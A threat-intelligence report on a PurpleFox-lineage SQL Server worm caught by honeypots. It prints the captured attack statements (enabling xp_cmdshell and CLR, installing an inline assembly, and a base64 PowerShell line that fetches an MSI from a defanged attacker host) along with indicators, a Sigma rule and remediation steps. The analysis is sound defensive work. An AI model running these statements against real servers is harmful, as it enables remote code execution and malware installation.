purplefox-lineage · dirtymoe-lineage · sql-server · clr-assembly · msi-loader · xp-cmdshell · worm · china
PurpleFox-Lineage SQL Server Worm: Same MSI Pool, All-New Bots
The PurpleFox-lineage SQL Server worming module is an automated post-authentication script that turns an sa login into code execution and pulls an MSI disguised as a .Png file from a small fixed pool of high-port HTTP hosts.
By Davis Zheng·
TLP:CLEAR. Cleared for public release. Captured by the Kinryū Labs honeypot sensor network. Indicators below are defanged.
Executive summary
- 13new attacking addresses in five days
- 7payload hosts, all seen in September
- 279command-execution statements captured
- 105 msmedian gap between statements in one timed session
Between 9 and 13 November 2026, 13 source addresses authenticated to a database server on TCP/1433 as sa with an empty password and replayed the same post-authentication script. The activity is consistent with the SQL Server worming module of the PurpleFox/DirtyMoe ecosystem. The family identification rests on tooling and payload-name overlap, and we hold it at moderate confidence.
This report compares the November activity with our September reporting on the same chain. The 13 sources issued 279 command-execution statements. The report lists 23 indicators in total.
Key judgments
- The activity is consistent with the PurpleFox/DirtyMoe SQL Server worming module rather than a generic database mining crew, on tooling and payload-name overlap. The script defines and calls MsiMake, an actor-defined PowerShell installer routine documented by AhnLab ASEC in PurpleFox infections through sqlservr.exe, and two of the four payload filenames observed here, 2E0ECB2F.Png and 57BC9B7E.Png, appear verbatim in that reporting. The same assembly name fscbd and procedure [dbo].[ExecCommand] were recorded in four earlier house findings on this chain. Moderate confidence.
- The MSI delivery pool is a durable asset while the bot layer has turned over completely since September. All seven delivery host:port pairs in this window, including 172.245.148[.]149:14167 and 45.58.184[.]12:10851, appear in our September findings on the same chain with identical ports and filenames, whereas none of the thirteen source addresses seen between 9 and 13 November appear in those findings' indicator lists. High confidence.
- The one session that was timed ran at machine tempo, and the arrival of the same script body from the eleven sources where the assembly-install stage was captured is consistent with unattended execution across the group. Timing arithmetic covers one of the thirteen sources, 210.22.56[.]100: 89 events in 11 minutes, a median gap of 105 milliseconds inside bursts across 86 gaps, 9.4 events per active second, and a delivery phase of three structurally identical rounds 2.9 seconds apart, the last completing eight seconds after the first began, each naming a different delivery host. Moderate confidence.
- The run is an undiscriminating sweep for weak-credential database servers rather than interest in a particular kind of victim. The same script body arrived from the eleven sources where the assembly-install stage was captured, and none of the thirteen unrelated addresses in five countries touched any service other than TCP/1433; AhnLab ASEC describes this chain as distribution to poorly managed database servers at scale. The telemetry offers no comparable surface, so target preference cannot be judged further. Moderate confidence.
Timeline
- 2026-11-04 00:00 UTCEarliest MsiMake-bearing statement in the evidence; the marker recurs on at least eight of the following ten days.
- 2026-11-09 07:29 UTC36.73.34[.]214 drops and recreates [dbo].[ExecCommand] bound to assembly fscbd.
- 2026-11-12 21:48 UTC210.22.56[.]100 opens its first TDS connection to the database sensor.
- 2026-11-12 21:49 UTCThe same address issues a bare port-1433 fingerprint.
- 2026-11-12 21:58 UTCReturns after a ten-minute pause and authenticates as sa with an empty password.
- 2026-11-12 21:59 UTCFirst delivery round: feature enablement, assembly install, ExecCommand, PowerShell naming 58.221.59[.]20:17256.
- 2026-11-12 21:59 UTCThird identical round, naming 45.58.184[.]12:10851, completes eight seconds after the first; no further activity from the address.
The session, in order
2026-11-09 07:29:13 if exists (select * from sysobjects where id = object_id(N'ExecCommand') and OBJECTPROPERTY(id, N'IsProcedure') = 1) drop procedure [dbo].[ExecCommand]
2026-11-09 07:29:14 CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [fscbd].[StoredProcedures].[ExecCommand]
2026-11-12 21:59:08 IF exists(SELECT @@version where @@version like '%2005%' or @@version like '%2008%' or @@version like '%2012%' or @@version like '%2014%' or @@version like '%2016%' or @@version like '%2017%' or @@version like '%2019%') begin exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE; exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'clr enabled',1;RECONFIGURE; ALTER DATABASE master SET TRUSTWORTHY ON; CREATE ASSEMBLY [fscbd] AUTHORIZATION [dbo] FROM 0x4D5A90000300000004000000FFFF0000B8000000...
2026-11-12 21:59:09 IF exists(SELECT @@version where @@version like '%2000%') begin use Master; dbcc dropextendedproc ("xp_cmdshell"); dbcc addextendedproc ("xp_cmdshell","xplog70.dll"); dbcc addextendedproc ("xp_regwrite","xpstar.dll"); dbcc addextendedproc ("sp_OACreate","odsole70.dll"); dbcc addextendedproc ("sp_OAMethod","odsole70.dll"); declare @a int exec sp_oacreate 'wscript.shell',@a out exec sp_oamethod @a,'run',null,'powershell -nop -exec bypass -c "$e64 = ''DQAKACAASQBOAHYATwBLAEUALQBFAHgAUAByAEUAUwBzAGkATwBOACAA...''
2026-11-12 21:59:09 ...;$bytes = [System.Convert]::FromBase64String($e64);$decoded = [System.Text.Encoding]::Unicode.GetString($bytes);iex $decoded;MsiMake hxxp://45.58.184[.]12:10851/D23593D7.Png;"'; exec master..xp_cmdshell 'powershell -nop -exec bypass -c "$e64 = ''DQAKACAASQBOAHY
One version-gated script, ending in MsiMake
One branch tests @@version for 2005 through 2019 and enables xp_cmdshell, Ad Hoc Distributed Queries, Ole Automation Procedures and clr enabled, each wrapped in sp_configure 'show advanced options', 1; RECONFIGURE;. It then sets TRUSTWORTHY ON for master and installs a .NET assembly named [fscbd], authorised to [dbo], from an inline blob beginning 0x4D5A9000 (an MZ header carried as hex):
IF exists(SELECT @@version where @@version like ‘%2005%’ or … ‘%2019%’) begin exec sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE; … ALTER DATABASE master SET TRUSTWORTHY ON; CREATE ASSEMBLY [fscbd] AUTHORIZATION [dbo] FROM 0x4D5A90000300000004000000FFFF0000B8000000…
The second branch tests for SQL Server 2000 and restores features instead of configuring them. With dbcc addextendedproc it re-registers xp_cmdshell from xplog70.dll, xp_dirtree, xp_regread and xp_regwrite from xpstar.dll, and sp_OACreate/sp_OAMethod from odsole70.dll, then drives execution through sp_oacreate 'wscript.shell'.
The assembly is bound to a callable procedure. The script first drops the procedure if it already exists:
if exists (select * from sysobjects where id = object_id(N’ExecCommand’) and OBJECTPROPERTY(id, N’IsProcedure’) = 1) drop procedure [dbo].[ExecCommand]
CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [fscbd].[StoredProcedures].[ExecCommand]
Both branches converge on one payload. It is a base64, UTF-16LE, DeflateStream-compressed PowerShell body decoded at runtime with iex. That body defines the actor’s function MsiMake and calls it against 45.58.184[.]12:10851 for the file D23593D7.Png, and against the other endpoints. Each round pushes the one-liner twice, once through the OLE wscript.shell object and once through exec master..xp_cmdshell, so two independent execution routes are tried.
MsiMake is the actor-defined MSI installer routine that AhnLab ASEC documents in PurpleFox infections through sqlservr.exe. Two of the four payload filenames here, 2E0ECB2F.Png and 57BC9B7E.Png, appear verbatim in that reporting. The assembly name fscbd and the procedure [dbo].[ExecCommand] are the same ones recorded in four house findings on this chain in September.
The delivery pool is unchanged since September and every attacking address is new
The scripts in this window named seven delivery endpoints:
58.221.59[.]20:17256172.245.148[.]149:1416745.144.174[.]174:16544172.245.145[.]169:16060204.44.110[.]216:1693345.58.184[.]12:10851217.219.194[.]40:11584
Every one was already in the September indicator set, on the same port, serving the same four hex-named files. Two hosts named in September are absent from this window. Because these seven host:port pairs have not moved in two months, we recommend egress blocking of all of them.
None of the 13 sources overlaps the earlier lists. The geography has also widened, from mostly Chinese broadband to Thai, Indonesian and European addresses alongside it.
We obtained reputation data for only two of the seven delivery hosts. On VirusTotal, 172.245.145[.]169 is flagged by 9 of 92 engines and 45.58.184[.]12 by 3 of 92. VirusTotal also records two heavily detected Win32 DLLs as communicating with 45.58.184[.]12. The remaining five were not queried.
The one session we timed ran at machine speed
One source, 210.22.56[.]100 on China Unicom’s China169 network, is the only session with a full timing record, and its timing is inconsistent with a person at a keyboard. The other 12 sources were not timed. The session contained 89 events in 11 minutes, with a median gap of 105 ms inside bursts across 86 gaps and 9.4 events per active second.
The session made first contact at 21:48:35 UTC on 12 November and came back after a 10-minute pause. Delivery then came as three structurally identical rounds 2.9 seconds apart, the last completing 8 seconds after the first began. Each bot cycles three of the seven endpoints, and in this session each round re-authenticated and named a different one: 58.221.59[.]20:17256, 172.245.148[.]149:14167 and 45.58.184[.]12:10851. No statement in a later round is conditioned on a reply to an earlier one, which suggests the endpoints are tried from a fixed fallback list.
Four hex-named .Png files carried the MSI, one dominant.
Statement counts and distinct source addresses for each payload filename, 9-13 November 2026; 57BC9B7E.Png appeared as the paired second URL.
| Filename | Statements | Sources |
|---|---|---|
D23593D7.Png | 158 | 9 |
5B16AF14.Png | 60 | 11 |
2E0ECB2F.Png | 40 | 2 |
57BC9B7E.Png | paired |
The tooling marker fscbd appeared in 60 statements from 11 of the 13 sources. Those are the 11 for which the assembly-install stage is in evidence.
Tradecraft
The script is written for the long tail of unsupported SQL Server installs, where weak sa passwords persist, and its 2000 branch re-registers the execution features a hardened server has removed.
The operator applies obfuscation to the payload in transit. The MSI is served on a random high port with an eight-hex-character name and a .Png extension, and the PowerShell is encoded as set out above.
The statements leave TRUSTWORTHY ON, a named assembly and a named procedure behind on the server. Defenders can check the database configuration for these changes, and alert on CREATE ASSEMBLY, on a stored procedure bound by EXTERNAL NAME, and on sp_configure changes to xp_cmdshell, OLE Automation or CLR.
We assess the activity as a sweep for weak-credential database servers. The 13 sources touched nothing but TCP/1433, and the script reads no host information other than the @@version string it uses to choose a branch.
Rival explanations and how far the evidence settles them
Against the moderate-confidence PurpleFox identification we weighed two competing readings: a different operator reusing publicly listed PurpleFox indicators and tooling, and a commodity database-server mining crew that adopted the same CLR loader. The indicator comparison supports continuation of the September chain over a new operator reusing published indicators, and the MsiMake and filename overlap favour PurpleFox over a generic mining crew. The evidence available does not support deliberate victim selection. All 13 addresses, across five countries, used the empty-password sa login, and the 11 with the install stage in evidence sent the script body described above. All 13 were seen on a single exposed service, with no second service against which to compare their behaviour. The evidence fails to show a target preference without excluding one. The timing set out above counts against a person driving the 210.22.56[.]100 session. We did not test whether today’s MSI differs from the September build, because no payload was retrieved and we hold no file hash for either build.
| Explanation | Test | Result | Verdict |
|---|---|---|---|
| This is a continuation of the PurpleFox SQL Server chain our earlier runs documented, not a new operator reusing published indicators | Compare delivery host:port pairs, payload filenames, assembly and procedure names and statement structure against the September findings, and compare the source address lists | 7 of 7 delivery host:port pairs, all four .Png filenames, the assembly name fscbd and procedure [dbo].[ExecCommand] match; 0 of 13 source addresses appear in the earlier indicator lists | Supported |
| The run reflects deliberate selection of a particular kind of victim, as the triage signal suggested | Compare the script and credential use across all thirteen sources, and weigh that against earlier house findings on this chain and public reporting on how it picks victims | The same script body was recorded from the eleven of the thirteen unrelated addresses where the assembly-install stage was captured, with the endpoint URLs varying across sources; all thirteen addresses, spread across five countries, logged in as sa with an empty password; earlier house findings on this chain record the same script from a further set of unrelated addresses, and AhnLab ASEC describes the chain as distribution to poorly managed database servers at scale. Deliberate victim selection is not supported by the evidence available. All thirteen sources were seen on a single exposed service, which offers no comparable surface against which target preference could be judged, so the evidence can fail to show a preference but cannot exclude one. | Inconclusive |
| A person was driving the one timed session, from 210.22.56[.]100, rather than an unattended module | Timing arithmetic on the one source with a full session, and comparison of its three delivery rounds | 89 events in 11 minutes, median gap 105 ms inside bursts over 86 gaps, 9.4 events per active second, and three structurally identical rounds 2.9 s apart. That arithmetic is inconsistent with a person at a keyboard for that one session; the remaining twelve of the thirteen sources were not timed, so it carries no reading for them. | Refuted |
| The MSI served today differs from the September build despite the filenames being unchanged | Retrieve and hash the body served at one endpoint and compare with the September payload | No payload was retrieved in this hunt and no file hash is held for either build, so the bodies cannot be compared | Not tested |
The payload at /D23593D7.Png and the two absent hosts
What the delivery endpoints serve at /D23593D7.Png today, and whether the MSI body has changed since September, is not known. Nor is whether the two September delivery hosts absent from this window have been retired or are merely idle.
By the numbers
Figures computed from the evidence and from enrichment lookups.
- Tempo, measured on
210.22.56[.]100, events on 12 November. 89 requests in 11 min across 3 bursts: 9.5 s active, 11 min idle. Median gap inside a burst 105 ms (min 0 ms, max 334 ms over 86 gaps). Verdict scripted: the median gap between requests inside a burst is under 1.0 s. - Infrastructure. The /24 holds 1 active source: no sign of a shared pool.
- VirusTotal relationships. The address sits with CHINA UNICOM China169 Backbone in CN. No engine flags the address itself (0/92). VirusTotal holds no passive DNS for this address: nothing is recorded as having pointed at it.
Indicators of compromise
The 20 network indicators below are defanged; paths are given as observed.
Network
| Indicator | Context |
|---|---|
210.22.56[.]100 | bot relay, scripted sa-to-CLR run on 12 November |
36.73.34[.]214 | bot relay, same script |
122.239.109[.]83 | bot relay, same script |
42.203.141[.]240 | bot relay, same script |
122.234.96[.]239 | bot relay, same script |
210.21.28[.]10 | bot relay, same script |
112.53.148[.]218 | bot relay, same script |
124.235.123[.]242 | bot relay, same script |
171.213.184[.]231 | bot relay, same script |
171.213.190[.]26 | bot relay, same script |
171.4.89[.]79 | bot relay, same script |
80.94.95[.]144 | bot relay, same script |
107.148.227[.]206 | bot relay, same script |
hxxp://45.58.184[.]12:10851/D23593D7.Png | MSI delivery endpoint named in the xp_cmdshell PowerShell stage; host flagged 3 of 92 on VirusTotal |
hxxp://172.245.145[.]169:16060/2E0ECB2F.Png | MSI delivery endpoint; host flagged 9 of 92 on VirusTotal |
hxxp://58.221.59[.]20:17256/5B16AF14.Png | MSI delivery endpoint |
hxxp://172.245.148[.]149:14167/57BC9B7E.Png | loader stage endpoint, filename named in ASEC PurpleFox reporting |
45.144.174[.]174 | MSI delivery host, port 16544 |
204.44.110[.]216 | MSI delivery host, port 16933 |
217.219.194[.]40 | MSI delivery host, port 11584 |
Host artefacts
| Indicator | Context |
|---|---|
/<8 hex chars>.Png | MSI masquerading as an image; observed values D23593D7.Png, 5B16AF14.Png, 2E0ECB2F.Png, 57BC9B7E.Png on ports 10851 to 17256 |
CREATE ASSEMBLY [fscbd] / [dbo].[ExecCommand] | CLR assembly name and stored procedure installed by the script, seen in 60 statements from 11 sources this window |
MsiMake | actor-defined PowerShell installer function invoked against the .Png URL |
Detection
Sigma
CLR assembly bound to a command-execution procedure on a database server (requires audit of statement text) (candidate).
title: CLR assembly bound to a command-execution procedure on a database server (requires audit of statement text)
status: experimental
description: Detects the PurpleFox SQL Server worming module installing a .NET assembly from an inline hex blob and binding it to a stored procedure via EXTERNAL NAME. Statement text is only visible where database auditing or extended events capture batch text.
logsource:
product: sqlserver
category: application
detection:
assembly:
statement|contains:
- 'CREATE ASSEMBLY'
- 'FROM 0x4D5A9000'
binding:
statement|contains: 'AS EXTERNAL NAME'
trustworthy:
statement|contains: 'SET TRUSTWORTHY ON'
condition: (assembly and binding) or (assembly and trustworthy)
falsepositives:
- Legitimate in-house CLR assemblies deployed by a DBA change process
- Vendor installers that register signed CLR procedures
level: high
Detection logic
- HTTP fetch of an eight-hex-character .Png from a non-standard high port by a database host (network, candidate). Alert when a host running SQL Server makes an outbound HTTP request to an IP literal on a port above 10000 for a path matching /[0-9A-F]{8}.Png. Observed endpoints in this activity: ports 10851, 11584, 14167, 16060, 16544, 16933 and 17256. The response body is an MSI, not an image, so a content-type or magic-byte check at the proxy separates this from real images.
- sa login followed within seconds by sp_configure feature enablement (behavioural, candidate). Flag any session that authenticates as sa and within ten seconds issues sp_configure for ‘xp_cmdshell’, ‘Ad Hoc Distributed Queries’, ‘Ole Automation Procedures’ or ‘clr enabled’, or calls dbcc addextendedproc. Human administrators do not enable four execution surfaces in one burst a second after logging in.
Remediation
- Remove TCP/1433 from the internet; where remote access is required, place it behind a VPN or an allow-list of engineering addresses.
- Set a strong sa password or disable the account, and audit for other database logins with empty passwords.
- Check for the artefacts this script leaves: an assembly named fscbd in master, a procedure [dbo].[ExecCommand], master set TRUSTWORTHY ON, and non-default values for xp_cmdshell, Ad Hoc Distributed Queries, Ole Automation Procedures and clr enabled.
- Block the seven delivery host:port pairs at the egress proxy and alert on any database host fetching an IP-literal URL on a high port.
- Treat a host that reached one of the delivery endpoints as compromised: PurpleFox installs a rootkit driver and service persistence, so rebuild rather than clean.
MITRE ATT&CK mapping
| Tactic | Technique | Observed |
|---|---|---|
| Initial access | T1078 Valid Accounts | Each source authenticated as sa with an empty password before issuing any statement. |
| Persistence | T1505.001 Server Software Component: SQL Stored Procedures | CREATE ASSEMBLY [fscbd] from an inline MZ hex blob, bound to CREATE PROCEDURE [dbo].[ExecCommand] AS EXTERNAL NAME. |
| Execution | T1059.001 Command and Scripting Interpreter: PowerShell | A deflate-compressed UTF-16LE base64 PowerShell body decoded with iex and launched through both wscript.shell and xp_cmdshell. |
| Command and control | T1105 Ingress Tool Transfer | MsiMake fetches an MSI named with eight hex characters and a .Png extension from one of seven high-port HTTP hosts. |
| Defence evasion | T1562.001 Impair Defenses: Disable or Modify Tools | sp_configure re-enables xp_cmdshell, Ad Hoc Distributed Queries, OLE Automation and CLR, and dbcc addextendedproc restores extended procedures on legacy instances. |
References
- PurpleFox Being Distributed via MS-SQL Servers (AhnLab ASEC)
- A Look Into Purple Fox’s Server Infrastructure (Trend Micro)
- Hackers Distribute PurpleFox Malware Using Vulnerable MS-SQL Servers
Methodology and analyst notes
The reading rests on the activity of thirteen addresses captured on port 1433 between 9 and 13 November 2026, plus a tooling marker that recurs from 4 November onwards. No payload was retrieved, so the MSI and the loader body are known only from the URLs the statements named. VirusTotal was queried for two of the seven delivery hosts; the other five carry no reputation data in this hunt. The full assembly blob is not known, and no hash of it is held here.
Still open:
- What the delivery endpoints serve at /D23593D7.Png today, and whether the MSI body has changed since September.
- Whether the two delivery hosts named in September but absent this window have been retired or are merely idle.
Questions or corrections: [email protected].